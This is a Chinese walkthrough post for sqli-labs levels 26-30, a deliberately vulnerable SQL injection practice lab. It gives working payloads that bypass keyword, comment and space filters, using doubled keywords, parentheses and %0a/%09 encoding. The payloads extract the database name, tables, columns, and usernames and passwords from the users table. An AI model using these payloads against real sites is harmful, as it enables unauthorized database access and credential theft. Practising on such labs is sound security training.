sqli-labs靶场通关攻略(26-30关)

第26关 (过滤# -- 空格 and or 等等)

查数据库

这关可以看到,他过滤了我们很多字符

那么我们开始尝试绕过过滤

空格使用括号绕过 and和or使用双写绕过

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1))aandnd'1=1

查表

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1=1

查列

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1=1

查数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1=1

第27关(过滤 union、select、注释、空格

查数据库

复制代码
?id=1'and(updatexml(1,concat(0x7e,database(),0x7e),1))and'1=1

查表

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))and'1=1

查列

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))and'1=1

查数据

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))and'1=1

第28关(双写+%0a+大小写+('1')=('1绕过)

查数据

复制代码
?id=0')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

查表

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and('1=1

查列

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1=1

第29关( ' 闭合)

查库

复制代码
?id=' union select 1,2,database() --+

查表

复制代码
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列

复制代码
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据

复制代码
?id=' union select 1,2,group_concat(username,0x7e,password) from users--+

第30关( " 闭合)

查库

复制代码
?id=" union select 1,2,database() --+

查表

复制代码
?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列

复制代码
?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据

复制代码
?id=" union select 1,2,group_concat(username,0x7e,password) from users--+
相关推荐
随风飘的云2 小时前
MySQL的慢查询优化解决思路
数据库
IvorySQL6 小时前
PostgreSQL 技术日报 (3月7日)|生态更新与内核性能讨论
数据库·postgresql·开源
赵渝强老师6 小时前
【赵渝强老师】金仓数据库的数据文件
数据库·国产数据库·kingbase·金仓数据库
随逸17710 小时前
《Milvus向量数据库从入门到实战,手把手搭建语义检索系统》
数据库
神秘的猪头10 小时前
🚀 React 开发者进阶:RAG 核心——手把手带你玩转 Milvus 向量数据库
数据库·后端·llm
0xDevNull1 天前
MySQL索引进阶用法
后端·mysql
0xDevNull1 天前
MySQL索引用法
mysql
IvorySQL1 天前
PostgreSQL 技术日报 (3月6日)|为什么 Ctrl-C 在 psql 里让人不安?
数据库·postgresql·开源
NineData1 天前
数据库管理工具NineData,一年进化成为数万+开发者的首选数据库工具?
运维·数据结构·数据库